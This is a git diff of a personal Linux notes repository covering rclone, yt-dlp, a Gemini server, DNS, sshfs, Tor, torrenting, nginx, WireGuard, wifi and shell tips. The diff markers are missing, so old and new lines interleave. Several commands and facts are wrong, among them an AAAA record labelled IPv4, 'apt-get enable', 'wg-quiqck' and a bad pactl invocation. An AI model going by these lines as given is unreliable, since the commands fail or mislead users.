Look at the contents of Google Drive:
> rclone ls gd:/
```bash
rclone ls gd:/
```
If rclone loses authorization:
> rclone authorization
```bash
rclone authorization
```
List only directories:
> rclone lsf -dirs-only google:/
```bash
rclone lsf -dirs-only google:/
```
Mount the remote location on /tmp/google with:
> rclone mount google /tmp/google
```bash
rclone mount google /tmp/google
```
Copy the contents of 'foo' to 'test'.
> rclone copy foo/ google:test
```bash
rclone copy foo/ google:test
```
Sync contents of foo and test with a progress bar (will delete Google items):
> rclone sync foo google:test -P
```bash
rclone sync foo google:test -P
```
Remove all duplicates
> rclone dedupe google:test
```bash
rclone dedupe google:test
```
Delete contets of a remote file:
> rclone delete n:test
```bash
rclone delete n:test
```
Or delete the folder and contents as well:
> rclone purge n:test
```bash
rclone purge n:test
```
Copy to and from with:
> rclone copyto google:test foo
```bash
rclone copyto google:test foo
```
or
> rclone copyto foo google:test
```bash
rclone copyto foo google:test

View File

@ -4,19 +4,27 @@ tags: [ "Documentation", "Scraping" ]
---
Install `yt-dlp`.
> yt-dlp --write-auto-sub *<URL>*
```bash
yt-dlp --write-auto-sub *<URL>*
```
It will default to English, but you can specify another language with the flag --sub-lang:
> youtube-dl --sub-lang sv --write-auto-sub *<URL>*
```bash
youtube-dl --sub-lang sv --write-auto-sub *<URL>*
```
You can list all available subtitles with:
> yt-dlp --list-subs *<URL>*
```bash
yt-dlp --list-subs *<URL>*
```
It's also possible to skip the video and only download the subtitle if you add the flag --skip-download:
> yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
```bash
yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
```
## Alternative

View File

@ -1,58 +1,86 @@
---
title: "agate"
tags: [ "Documentation", "Networking" ]
---
Make sure your dns is in order.
My domain name is `malinfreeborn.com`, so put your own in there.
Install agate by placing the binary somewhere or (on Arch):
> yay -S agate
title: "Agate on Arch Linux"
tags: [ "Documentation", "Networking", "Arch", "Gemini" ]
---
> sudo mkdir -p /usr/share/gemini/{certs,gemini}
Docs are [here](https://github.com/mbrubeck/agate).
> sudo useradd gemini -d /usr/share/gemini
You will need DNS set up before proceeding.
> sudo chown -R gemini:gemini /usr/share/gemini
Install agate.
> sudo su gemini
`yay -S agate`
> cd
Be root!
> echo 'Hello Gemworld!' > gemini/index.gmi
In my case the domain is 'splint.rs'.
Make a service file.
`DOMAIN1=splint.rs`
> sudo vim /etc/systemd/system/multi-user.target.wants/agate.service
You can set up any number of domain names.
Start agate once to make the certificates.
`DOMAIN2=ttrpgs.com`
> agate --content /usr/share/gemini/gemini --hostname malinfreeborn.com --lang en-GB
Make a directory to serve the gemini files from:
`GEMDIR=/srv/gemini`
`mkdir -p $GEMDIR/$DOMAIN1`
`mkdir -p $GEMDIR/$DOMAIN2`
Put at least one gemini file into the directory:
```
[Unit]
Description=agate
After=Network.target
[Service]
User=gemini
Type=simple
ExecStart=/usr/bin/agate --content /usr/share/gemini/gemini --hostname malinfreeborn.com --lang en-GB
[Install]
WantedBy=default.target
echo Welcome to $DOMAIN1 > $GEMDIR/$DOMAIN1/index.gmi
echo Welcome to $DOMAIN2 > $GEMDIR/$DOMAIN2/index.gmi
```
> sudo systemctl daemon-reload
Set a language variable:
> sudo systemctl enable --now agate
`LANG=en_GB`
You need to run the agate command once interactively, in order to create certs:
# Redirection
```
agate --content $GEMDIR --certs $GEMDIR/.certs \
--addr [::]:1965 --addr 0.0.0.0:1965
--hostname $DOMAIN1 --hostname $DOMAIN2
--lang $LANG
```
Indicate a permanent move by placing this file in the root of the capsule:
Once that works, it's time to make a service file; select any name for it:
`SVFILE=st`
```
echo "
CONTENT=--content $GEMDIR
CERT=--certs $GEMDIR/.certs
ADDR=--addr [::]:1965 --addr 0.0.0.0:1965
HOSTNAME=--hostname $DOMAIN1 --hostname $DOMAIN2
LANG=--lang $LANG
" > $SVFILE.conf
```
Check the service file has all those variables and looks right:
`cat $SVFILE.conf`
Now move it into the agate config directory:
`mv $SVFILE.conf /etc/agate/`
And finally, start the service:
```
systemctl daemon-reload
systemctl enable --now agate@$SVFILE.conf
```
Your Gemini capsule should be available, and you should be able to see any access in the logs:
```
journalctl -xeu agate@$SVFILE.conf
```
> index.gmi: 31 gemini://splint.rs

44
networking/servers/dns.md Normal file
View File

@ -0,0 +1,44 @@
---
title: "dns"
tags: [ "networking", "host" ]
---
| Record | Type | Example |
|:-----------:|:--------------------|:---------------------------------------|
| A Record | IPv4 Address | "$domain".com |
| AAAA Record | IPv4 Address | "$domain".com |
| CNAME | Alternative Address | "$domain".rs, "$subdomain.$domain".com |
| NS | Nameserver | ns1.fastname.com |
| MX | Email server | "$domain".com |
| TXT | Literally anything,including ownership of a domain | |
| | | |
Query a host with the `host` command.
```bash
host $domain.$tld
```
```bash
host $domain.$tld 9.9.9.9
```
> dmz.rs has address 77.105.27.232
> dmz.rs mail is handled by 10 kralizec.dmz.rs.
> dmz.rs mail is handled by 20 splint.rs.
This shows the MX record has a secondary handler, called splint.rs.
You can also add a specific nameserver:
Request a specific record type (`CNAME`, `TXT`, et c.):
```bash
torsocks host -T -t $RECORD_TYPE $domain
```
## Troubleshooting
The `host` command uses UDP.
You can change to TCP by using `host -T`.

View File

@ -4,7 +4,9 @@ tags: [ "Documentation", "Networking" ]
---
# Mount
> sshfs alfred@192.168.0.14:Sync/Alfred
```bash
sshfs $USER@$IP_ADDRESS:$DIR
```
Various flags:
@ -13,5 +15,7 @@ Various flags:
# Unmount
> fusermount3 -u Sync/Alfred
```bash
fusermount3 -u $DIR
```

View File

@ -5,17 +5,25 @@ tags: [ "Documentation", "Networking", "ssh", "tricks" ]
Mount a remote filesystem locally with fuse-sshfs:
> sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
```bash
sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
```
Unmount with:
> fusermount -u /tmp/mnt
```bash
fusermount -u /tmp/mnt
```
Set it up on /etc/fstab with:
> sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
```bash
sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
```
Make image backup of sda1 and sda2 from one machine and pass it through ssh to another.
> for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
```bash
for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
```

View File

@ -5,7 +5,9 @@ tags: [ "Documentation", "Networking" ]
# Get a hostname
> sudo vim /etc/tor/torrc
```bash
sudo vim /etc/tor/torrc
```
Uncomment the lines about `/var/lib/tor/hidden_services`, including port 22 (or whatever); restart tor, then go to that directory, and cat the hostname.

View File

@ -4,21 +4,16 @@ tags: [ "Documentation", "Networking", "Torrenting" ]
---
# Torrench
Torrench searches for torrents.
It breaks a lot, so if it's not working, the problem is probably in the program.
Search for 'sita sings the blues' with:
> torrench 'sita sings the blues'
Search for a torrent, e.g. 'sita sings the blues'.
Copy the magnet link.
It looks like this:
`magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969`
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969
But you only need this bit (up until the `&` character):
`magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa`
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa
# Transmission
@ -27,28 +22,40 @@ Install it then start the service.
Arch Linux:
> sudo systemctl start transmission
```bash
sudo systemctl start transmission
```
Debian:
> sudo systemctl start transmission-daemon
```bash
sudo systemctl start transmission-daemon
```
Add a torrent by the .torrent file, or a magnet link, like this:
> transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
```bash
transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
```
> transmission-remote -a sita.torrent
```bash
transmission-remote -a sita.torrent
```
Now let's check that the torrent's been added successfully.
> transmission-remote -l
```bash
transmission-remote -l
```
To see the torrents, go to /var/lib/transmission/Downloads
If you don't have permission, either add the directory to the group made for your username, or add yourself to the `:transmission` group, or otherwise make sure that you can read that directory, and the user `transmission` can read, write and execute.
E.g.:
> sudo usermod -aG transmission $USER
```bash
sudo usermod -aG transmission $USER
```
Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2`).
@ -56,13 +63,17 @@ Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2
If you don't want to have a file active as a torrent, get it's number with `transmission-remote -l`, then, if it were number '4', do:
> transmission-remote -t 4 -r
```bash
transmission-remote -t 4 -r
```
You can now move the file, and the torrent will not be confused.
To both **r**emove **a**nd **d**elete a file, use `-rad`:
> transmission-remote -t 4 -rad
```bash
transmission-remote -t 4 -rad
```
# Moving Torrents
@ -71,5 +82,57 @@ If the file is in your home - `~` - but `transmission` is not allowed in your ho
Next, find the torrent's number. You can use multiple numbers, separated with a comma:
> transmission-remote -t 3,5,8 --move /home/alice/music
```bash
transmission-remote -t 3,5,8 --move /home/alice/music
```
## Change Default Location
The `transmission` user has a home configuration file, like any other user, with all the transmission settings.
```bash
cd /var/lib/transmission/.config/transmission-daemon/
$EDITOR settings.json
```
Change the `download-dir` value to wherever you want the torrents to go.
# Creating Torrents
Transmission always needs the full path to every file, and the daemon will need permission to view the file.
When it doubt, just place the files in `transmission`'s home directory.
Create a torrent of file or directory `Memes` with:
```bash
sudo chown -R :transmission Memes
transmission-create $(pwd)/Memes
```
Add a tracker to the torrent, to make sure others can find you easily:
```bash
transmission-create --comment 'My Memes collection' -t 'udp://tracker.publicbt.com:80' -t 'udp://tracker.openbittorrent.com:80' --anonymize Memes
```
Without the `--anonymize` flag, the torrent file output will have a 'created by' and 'created date'.
## Open Trackers
- udp://tracker.opentrackr.org:1337/announce
- udp://opentracker.i2p.rocks:6969/announce
- https://opentracker.i2p.rocks:443/announce
- udp://tracker.openbittorrent.com:6969/announce
- http://tracker.openbittorrent.com:80/announce
- udp://9.rarbg.com:2810/announce
- udp://open.demonii.com:1337/announce
- udp://exodus.desync.com:6969/announce
- udp://tracker.moeking.me:6969/announce
- https://tracker.tamersunion.org:443/announce
- udp://tracker1.bt.moack.co.kr:80/announce
- udp://tracker.bitsearch.to:1337/announce
- udp://p4p.arenabg.com:1337/announce
- udp://explodie.org:6969/announce
- https://tracker.gbitt.info:443/announce
- http://tracker.gbitt.info:80/announce

View File

@ -7,13 +7,19 @@ tags: [ "Documentation", "Networking" ]
If not, try checking out what your local Networking interfaces are, then check if they have been picked up:
> dmesg | grep eth0
```bash
dmesg | grep eth0
```
# Display Active Ports
> netstat -l
```bash
netstat -l
```
...or maybe narrow it down to http:
> netstat -l | grep http
```bash
netstat -l | grep http
```

View File

@ -4,25 +4,37 @@ tags: [ "Documentation", "Networking" ]
---
Install nginx:
> sudo apt-get install nginx
```bash
sudo apt-get install nginx
```
> sudo apt-get enable --now nginx
```bash
sudo apt-get enable --now nginx
```
Put a website somewhere:
> mkdir /var/www/html/mysite/
```bash
mkdir /var/www/html/mysite/
```
Put an index file there:
> vim /var/www/html/mysite/index.html
```bash
vim /var/www/html/mysite/index.html
```
Make the owner `www-data`
> chown -R www-data:www-data /var/www/html/mysite/
```bash
chown -R www-data:www-data /var/www/html/mysite/
```
Make a configuration file for nginx:
> vim /etc/nginx/sites-available/mysite.conf
```bash
vim /etc/nginx/sites-available/mysite.conf
```
```
@ -37,15 +49,20 @@ server {
try_files $uri $uri/ =404;
}
}```
}
```
Make the site available:
> ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
```bash
ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
```
Test it's working:
> nginx -t
```bash
nginx -t
```
## Troubleshooting
@ -65,13 +82,19 @@ Buy some DNS online, then check it's working.
*Once it's working*, use certbot:
> apt install certbot
```bash
apt install certbot
```
You may need to install an nginx python module:
> apt install python3-certbot-nginx
```bash
apt install python3-certbot-nginx
```
> certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
```bash
certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
```
When you are asked about redirecting from HTTP to HTTPS, say yes (option "2").

View File

@ -6,65 +6,87 @@ tags: [ "Documentation", "Networking" ]
Stats on local net usage within domain.
> iftop -p -n
```bash
iftop -p -n
```
> whois domain.com
```bash
whois domain.com
```
Info on domain, whether it's taken, et c.:
> dig domain.com
```bash
dig domain.com
```
> ifconfig
```bash
ifconfig
```
Versatile wifi tool:
> nmcli
```bash
nmcli
```
# Examples
You want to connect to the internet.
> sudo iwconfig
```bash
sudo iwconfig
```
Get knowledge of wireless state. The output might be:
`wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"`
> wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"
`Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A`
> Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A
`Bit Rate=144.4 Mb/s Tx-Power=15 dBm`
> Bit Rate=144.4 Mb/s Tx-Power=15 dBm
`Retry short limit:7 RTS thr:off Fragment thr:off`
> Retry short limit:7 RTS thr:off Fragment thr:off
`Encryption key:off`
> Encryption key:off
`Power Management:on`
> Power Management:on
`Link Quality=64/70 Signal level=-46 dBm`
> Link Quality=64/70 Signal level=-46 dBm
`Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag`
> Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag
`Tx excessive retries:0 Invalid misc:363 Missed beacon`
> Tx excessive retries:0 Invalid misc:363 Missed beacon
This tells you that your ESSID is 'Gandalf WajFaj', and the access point name is 10:05:......
> nmcli radio
```bash
nmcli radio
```
You get an overview of your radio devices.
You're told that eth0 deals with your ethernet and `wlan0` deals with wifi.
`wlan0` is a file which represents your wifi device.
> nmcli wlan0 wifi rescan
```bash
nmcli wlan0 wifi rescan
```
> nmcli device wifi list
```bash
nmcli device wifi list
```
Now to connect.
> nmcli device wifi connect [SSID] [your password] [wifi password]
```bash
nmcli device wifi connect [SSID] [your password] [wifi password]
```
Alternatively, you can use
> nmcli -ask device wifi connect [SSID]
```bash
nmcli -ask device wifi connect [SSID]
```
And it'll ask for your password, so you're not typing it in in full view.

View File

@ -1,6 +1,6 @@
---
title: "wireguard"
tags: [ "Documentation", "Networking" ]
tags: [ "Documentation", "Networking", "VPN" ]
---
<!--
from
@ -11,16 +11,25 @@ https://engineerworkshop.com/blog/how-to-set-up-wireguard-on-a-raspberry-pi/
Install `wireguard-tools` on the server.
> sudo -i
```bash
sudo -i
```
> cd /etc/wireguard
```bash
cd /etc/wireguard
```
umask 077
> wg genkey | tee server_private_key | wg pubkey > server_public_key
```bash
wg genkey | tee server_private_key | wg pubkey > server_public_key
```
> wg genkey | tee client_private_key | wg pubkey > client_public_key
```bash
wg genkey | tee client_private_key | wg pubkey > client_public_key
```
```bash
echo "
[Interface]
Address = 10.0.0.1/24
@ -35,14 +44,23 @@ umask 077
PublicKey = $(cat client_public_key)
AllowedIPs = 10.0.0.2/32
" > /etc/wireguard/wg0.conf
```
> echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
```bash
echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
```
> systemctl enable --now wg-quiqck@wg0
```bash
systemctl enable --now wg-quiqck@wg0
```
> chown -R root:root /etc/wireguard/
```bash
chown -R root:root /etc/wireguard/
```
> chmod -R og-rwx /etc/wireguard/\*
```bash
chmod -R og-rwx /etc/wireguard/\*
```
Forward traffic from port 51900 to the server.
@ -80,4 +98,6 @@ Add multiple peers by copying the `[peer]` section (they each get called `peer`)
Make a standard client configuration, then:
> qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
```bash
qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
```

View File

@ -4,29 +4,41 @@ tags: [ "Documentation", "Networking" ]
---
# Check wifi's working
> lspci -k
```bash
lspci -k
```
Or for usb wifi:
> dmesg | grep usbcore
```bash
dmesg | grep usbcore
```
... and hopefully it'll say the new interface is registered.
# Check if a wifi interface has been created
> ip link
```bash
ip link
```
or
> iw dev
```bash
iw dev
```
Assuming it's wlan0, bring it up with
> ip link set wlan0 up
```bash
ip link set wlan0 up
```
Error messages probably means your wireless chipset requires a firmware to function. In this case, check the kernel messages for firmware being loaded
> dmesg | grep firmware
```bash
dmesg | grep firmware
```
# Utilities
@ -36,11 +48,15 @@ iw doesn't do wpa/wpa2. wpa_supplicant does everything. iwd does everything ex
Get the link status:
> iw dev wlan0 link
```bash
iw dev wlan0 link
```
Scan for available points:
> iw dev wlan0 scan
```bash
iw dev wlan0 scan
```
The connecting commands do not cover wpa2.

View File

@ -7,57 +7,87 @@ wpa_supplicant configurations are stored in /etc/wpa_supplicant/wpa_supplicant-w
## WiFi Connection
> wpa_cli
```bash
wpa_cli
```
Once in, scan the network, add an empty place to store credentials, then input them.
> scan
```bash
scan
```
> scan_results
```bash
scan_results
```
> add_network
```bash
add_network
```
This outputs a network number, e.g. '3'. This is the new network you'll work with.
> set_network *3* ssid *"Kosachok Cafe"*
```bash
set_network *3* ssid *"Kosachok Cafe"*
```
> set_network 3 psk *"Kosachok2019"*
```bash
set_network 3 psk *"Kosachok2019"*
```
OR (for no password)
> set_network *3* key_mgmt NONE
```bash
set_network *3* key_mgmt NONE
```
> enable_network 3
```bash
enable_network 3
```
> save_config
```bash
save_config
```
This takes a while to connect, so to speed things up, restart the service:
> sudo sv restart wpa_supplicant
```bash
sudo sv restart wpa_supplicant
```
# Scripts
You can script like this:
> wpa_cli add_network
```bash
wpa_cli add_network
```
That returns an ID, so you can say:
> newNetwork="$(wpa_cli add_network)"
```bash
newNetwork="$(wpa_cli add_network)"
```
Then `$newNetwork` would equal that number, and you can add/ remove networks with scripts.
But remember to escape the quotes, so adding a network would be:
> wpa_cli set_network *3* psk *\""passphrase"\"*
```bash
wpa_cli set_network *3* psk *\""passphrase"\"*
```
## Generating Keys Manually
> wpa_passphrase [ssid] [password]
```bash
wpa_passphrase [ssid] [password]
```
For example:
> wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
```bash
wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
```
This then spills the relevant psk and such to be entered into the wpa_supplicant configuration file.
@ -65,6 +95,8 @@ If you encounter problems, you will probably need to delete the old device pid i
Next up, start wpa_supplicant:
> wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
```bash
wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
```
The -B flag runs this as a background process. Remove this to see real-time output in order to solve problems. The -i flag denotes the physical device used for the wifi. The -c flag points to the configuration file for use.

27
new.sh Executable file
View File

@ -0,0 +1,27 @@
#!/bin/sh
echo Select a category
category="$(find . -type d -printf '%P\n' | fzy)"
[ ! -d "$category" ] && mkdir "$category"
echo Select a name
read name
filePath="$category/$(echo $name | sed 's/ /_/g').md"
tagsList="$(echo \"$category | sed 's#\/#", "#g')\""
[ -e "$filePath" ] && $EDITOR $filePath && exit 0
echo "---
title: \"$name\"
tags: [ $tagsList ]
---
" > "$filePath"
$EDITOR "$filePath"

View File

@ -9,11 +9,15 @@ Check with `which pulseaudio`. No output means you need to use alsa (below).
# Volume Control
> pactl set sink @DEFAULT_SINK@ +5%
```bash
pactl set sink @DEFAULT_SINK@ +5%
```
Find working outputs:
> aplay -l
```bash
aplay -l
```
#Sound Settings
@ -26,7 +30,9 @@ amixer scontrols
# Change a Sound setting
> amixer set Master 5%-
```bash
amixer set Master 5%-
```
# Restart everything
@ -36,22 +42,34 @@ pulseaudio -k && sudo alsa force-reload
Toggle, mute, increase or decrase audio:
> amixer sset Master toggle
```bash
amixer sset Master toggle
```
> amixer sset Master mute
```bash
amixer sset Master mute
```
> amixer sset Master 5%+
```bash
amixer sset Master 5%+
```
> amixer sset Master 5%-
```bash
amixer sset Master 5%-
```
# Finicky Sound Cards
Start with:
> alsamixer
```bash
alsamixer
```
Then press `F6` to see available Sound cards.
If you find a Sound card called 'PinePhone', then you can select an audio source there, and adjust with:
> amixer -c PinePhone set 'Headphone' 50%
```bash
amixer -c PinePhone set 'Headphone' 50%
```

View File

@ -6,9 +6,13 @@ tags: [ "Documentation", "Sound" ]
Add your user to the audio group, and install `festival-english`.
> echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
```bash
echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
```
> echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
```bash
echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
```
# Set Default Voice

View File

@ -8,45 +8,47 @@ tags: [ "Documentation", "Sound" ]
This is a minimum configuration file for /etc/mpd.conf
```
music_directory "/var/lib/mpd/music"
> music_directory "/var/lib/mpd/music"
>
> playlist_directory "/var/lib/mpd/playlists"
>
> db_file "/var/lib/mpd/mpd.db"
>
>
> pid_file "/run/mpd/mpd.pid"
>
> state_file "/var/lib/mpd/mpdstate"
>
>
> user "mpd"
>
> audio_output {
> type "pulse"
> name "My Pulse Output"
> }
>
> audio_output {
> type "fifo"
> name "my_fifo"
> path "/tmp/mpd.fifo"
> format "44100:16:2"
> }
playlist_directory "/var/lib/mpd/playlists"
db_file "/var/lib/mpd/mpd.db"
pid_file "/run/mpd/mpd.pid"
state_file "/var/lib/mpd/mpdstate"
user "mpd"
audio_output {
type "pulse"
name "My Pulse Output"
}
audio_output {
type "fifo"
name "my_fifo"
path "/tmp/mpd.fifo"
format "44100:16:2"
}
```
You can use alsa instead of pulse, but don't unless you're on a Pi.
Since this is run as the mpd user, you'll need to grant that user pulse acceess, often with the user-group `pulse` or `pulse-access`, but your distro may vary.
> sudo usermod -aG pulse-access mpd
```bash
sudo usermod -aG pulse-access mpd
```
Working with mpd will be easier if you have access to its files, so maybe:
> sudo usermod -aG mpd $USER
```bash
sudo usermod -aG mpd $USER
```
@ -54,5 +56,7 @@ Working with mpd will be easier if you have access to its files, so maybe:
Install `mpd-notification` and then start the service:
> systemctl --user enable mpd-notification
```bash
systemctl --user enable mpd-notification
```

View File

@ -17,7 +17,9 @@ I couldn't change volume, so in mpd.conf I uncommented the pulse audio lines and
Also, make sure the user mpd is part of the group pulse:
> sudo adduser mpd pulse
```bash
sudo adduser mpd pulse
```
In the audio_output section, try setting the mix_type to "software", not "hardware".

View File

@ -8,24 +8,33 @@ tags: [ "Documentation", "System" ]
Install:
> yay -S simple-mtpfs
```bash
yay -S simple-mtpfs
```
List available phones:
> simple-mtpfs -l
```bash
simple-mtpfs -l
```
Make a mount point:
> mkdir phone
```bash
mkdir phone
```
Check your phone, and tell it to allow access to the USB.
> simple-mtpfs --device 1 phone
```bash
simple-mtpfs --device 1 phone
```
## Stop
> fusermount -u phone
```bash
fusermount -u phone
rmdir phone
```

View File

@ -8,39 +8,55 @@ See a file's contents:
Return full contents of a string:
> awk '{ print }' file
```bash
awk '{ print }' file
```
Print the first and second column:
> awk '{print$1$2}'
```bash
awk '{print$1$2}'
```
Return every line with the word 'the' (like grep):
> awk '/the/{print}' file
```bash
awk '/the/{print}' file
```
Print everything containing a lowercase letter:
> awk '/[a-z]/{print}' file
```bash
awk '/[a-z]/{print}' file
```
Same with numbers [0-9], or using a caret we can show lines starting with a number - ^[0-9], or ending with an uppercase letter - $[A-Z].
# Conditionals
> awk '{ if($1 ~ /123/) print }' file
```bash
awk '{ if($1 ~ /123/) print }' file
```
Check if the first column is equal to 1 or 2 or 3, and if so then print that line.
Grep for 'hawk' in a story:
> awk '/hawk/' story.txt
```bash
awk '/hawk/' story.txt
```
Return any line with one or more "&" sequences:
> awk '/&+/' script.sh
```bash
awk '/&+/' script.sh
```
The pipe is used for 'or', so 'Orcs or drums' would be:
> awk '/Orcs|Drums/' story.txt
```bash
awk '/Orcs|Drums/' story.txt
```
Basic variables are:

View File

@ -1,46 +1,18 @@
---
title: "bash_tricks"
title: "Terminal Tips"
tags: [ "Documentation", "System" ]
---
# Track Live Changes
## Track Live Changes
See changes in a file as it changes:
> tail -f *somefile*
`tail -f *somefile*`
See changes in a directory, as it changes:
> watch -d ls *directory*
`watch -d ls *directory*`
# Automatic mp3 Tagging
> !/usr/bin/env bash
> IFS=$'\n'
> for f in $(find . -type f); do
> id3tool $f -t $(basename $f | cut -d- -f3 | sed 's/\.[^\,]*$//')
> done
One can also use
> sed s/\,[^\.]\*$//
... in order to avoid multiple full stops messing up syntax.
We can use `\.` as a literal full stop.
`[^ ]` means anything other than the containing character, so `[^\.]` would mean `anything other than a full stop'.
`*` in sed means this character is repeated any number of times, including 0, so files with no `.` character would still be processed fine.
`$` means `end of the line'.
Apparently sed uses `regex, not globing'.
Regular expressions (``regex'') looks for patterns and is used with find and grep. It interprets `*' as a wildcard, `?' as a single-character wildcard, and [12,1,2] as characters matching one of a set (in this case, `12 or 1 or 2 but not 21'].
If the shell is set to find file ``a*b.txt'' then it will pass this first to regex, and hit items like `aab.txt' and `abb.txt'. If it finds nothing, it'll then use globbing, and interpret `a*b.txt' literally.
# Automatic Renaming
## Automatic Renaming
There are a bunch of files:
@ -53,50 +25,49 @@ There are a bunch of files:
Goal: swap the word "Column" for "Alice" in all files.
> IFS=$'\n'
> for f in $(find . -name "Col*"); do
> mv "$f" $(echo "$f" | sed s/Column/Malin/)
> done
```
IFS=$'\n'
for f in $(find . -name "Col*"); do
mv "$f" $(echo "$f" | sed s/Column/Alice/)
done
```
IFS is the field separator. This is required to denote the different files as marked by a new line, and not the spaces.
# Arguments and Input
## Arguments and Input
The `rm' program takes arguments, but not `stdin' from a keyboard, and therefore programs cannot pipe results into rm.
That said, we can sometimes pipe into rm with `xargs rm' to turn the stdin into an argument. For example, if we have a list of files called `list.txt' then we could use cat as so:
> cat list.txt | xargs rm
```bash
cat list.txt | xargs rm
```
... *However*, this wouldn't work if spaces were included, as rm would take everything literally.
# Numbers
## Numbers
Add number to variables with:
* > let "var=var+1"
* > let "var+=1"
* > let "var++"
* > ((++var))
* > ((var=var+1))
* > ((var+=1))
* > var=$(expr $var + 1)
* `let "var=var+1"`
* `let "var+=1"`
* `let "var++"`
* `((++var))`
* `((var=var+1))`
* `((var+=1))`
* `var=$(expr $var + 1)`
((n--)) works identically.
`((n--))` works identically.
# Finding Duplicate Files
## Finding Duplicate Files
> find . -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 15 > all-files.txt
```bash
find . -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 15 > all-files.txt
```
... add blank line to top of first file.
## Output random characters
> awk '/^$/{getline;print;}' all-files.txt > uniq.txt
> diff all-files.txt uniq.txt | grep '/' | cut -d '.' -f 2,3,4,5 | sed 's#/##' | sed 's/ /\\ /g' | xargs rm
Output random characters.
> cat /dev/urandom | tr -cd [:alnum:] | dd bs=1 count=200 status=none && echo
```bash
cat /dev/urandom | tr -cd [:alnum:] | dd bs=1 count=200 status=none && echo
```

View File

@ -4,7 +4,9 @@ tags: [ "Documentation", "System" ]
---
Convert a text file from one encoding type to another with:
> iconv -f ascii -t utf8 oldfilename > newfilename
```bash
iconv -f ascii -t utf8 oldfilename > newfilename
```
Available options are:
@ -18,5 +20,7 @@ Available options are:
Generate a full list of encoding types available with:
> iconv -l
```bash
iconv -l
```

View File

@ -1,49 +0,0 @@
---
title: "compression"
tags: [ "Documentation", "System" ]
---
# Tar
## Basics
* --create -c
* --list -t
* --extract --get -x
* --file=file -f file
Look in tar file:
> tar -tf filename.tar.gz
Look in detail:
> tar -tvf filename.tar.gz
# Zip
Zip file:
> zip name.zip file
Zip directory:
> zip -r name.zip dir
Update existing entries.
> zip -ru name.zip dir file1 file2
Delete file from the zipfile.
> zip -d name.zip dfile
# 7z for .img.xz
> 7z x file.img.xz

View File

